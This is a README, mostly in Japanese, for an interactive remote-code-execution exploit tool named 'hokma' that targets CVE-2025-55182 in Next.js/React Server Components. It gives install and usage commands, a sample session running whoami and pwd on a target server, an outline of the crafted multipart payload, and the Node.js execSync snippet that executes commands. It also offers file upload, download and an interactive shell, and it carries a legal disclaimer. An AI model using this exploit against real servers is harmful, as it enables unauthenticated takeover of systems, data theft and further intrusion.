
Next.js/React Server Componentsの逆シリアル化の脆弱性を標的としたCVE-2025-55182用の対話型RCEエクスプロイト。自動検出、コマンド実行、ファイル転送、履歴とオートコンプリートを備えた組み込みシェルを特徴としています。
使用元: https://github.com/Emiyelbarto/CVE-2025-55182-PoC 素晴らしい貢献に心から感謝します。
CVE-2025-55182 は、Next.js/React Server Components における逆シリアル化の脆弱性であり、認証されていないリモート攻撃者が影響を受けるサーバー上で任意のコードを実行できるようにします。この脆弱性は、React Server Actions におけるシリアル化データの不適切な処理に起因します。
requests ライブラリ# Clone the repository
git clone https://github.com/yourusername/hokma.git
cd hokma
# Install dependencies
pip install requests
# Make script executable (optional)
chmod +x hokma.py
# Start interactive shell
python hokma.py
# Check vulnerability only
python hokma.py -u http://target.com --check
# Execute single command
python hokma.py -u http://target.com -c "whoami"
help Show this help message
set URL <url> Set target URL
set ID <action_id> Set action ID (default: user-profile-action)
show Show current options
check [url] Check if target is vulnerable
exploit <command> Execute command on target
shell Start interactive command shell
test Run test commands (id, whoami, etc.)
upload <loc> <rem> Upload local file to target
download <rem> <loc> Download remote file (base64 encoded)
clear Clear screen
exit/quit Exit the shell
$ python hokma.py
____ _ ____ _ _ _
| _ \ ___ __ _ ___| |_ / ___|| |__ ___| | |
| |_) / _ \/ _` |/ __| __| \___ \| '_ \ / _ \ | |
| _ < __/ (_| | (__| |_ ___) | | | | __/ | |
|_| \_\___|\__,_|\___|\__| |____/|_| |_|\___|_|_|
React Server Components RCE Exploit (CVE-2025-55182)
Interactive Shell - Type 'help' for commands
hokma> set URL http://vulnerable-app.com
[+] URL set to: http://vulnerable-app.com
hokma> check
[*] Checking vulnerability on target: http://vulnerable-app.com...
[+] TARGET IS VULNERABLE!
hokma> exploit whoami
[*] Executing command: whoami
[*] Server responded with status: 200
--- COMMAND OUTPUT ---
www-data
----------------------
hokma> shell
[*] Starting reverse shell. Use 'exit' to return.
[*] Enter commands to execute on target:
cmd> pwd
[*] Executing command: pwd
--- COMMAND OUTPUT ---
/var/www/html
----------------------
cmd> exit
| オプション | デフォルト | 説明 |
|---|---|---|
| ターゲットURL | なし | 脆弱なアプリケーションのURL |
| アクションID | user-profile-action | 対象とするサーバーアクションID |
| タイムアウト | 3秒 | リクエストタイムアウト |
このツールは、脆弱なシステムでクラッシュを引き起こす特別に細工されたマルチパートリクエストを送信します:
{} を持つペイロード ["$1:a:a"] を使用Function コンストラクタを使用してNode.jsスクリプトを作成しますchild_process.execSync() を使用してシステムコマンドを実行しますconst cmd = "COMMAND";
return import('child_process').then(cp => {
try {
const output = cp.execSync(cmd).toString();
return output;
} catch(e) {
return "Command Execution Failed: " + e.message;
}
});
重要な法的通知
このツールは以下を目的としています:
所有していないシステム、またはテストする明示的な許可を得ていないシステムに対してこのツールを使用しないでください。コンピュータシステムへの不正アクセスは違法かつ非倫理的です。
開発者はこのツールの誤用について一切の責任を負いません。ユーザーは適用されるすべての法律を遵守し、テスト前に適切な許可を取得する必要があります。
ターゲットの要件:
検出の制限:
悪用の制約: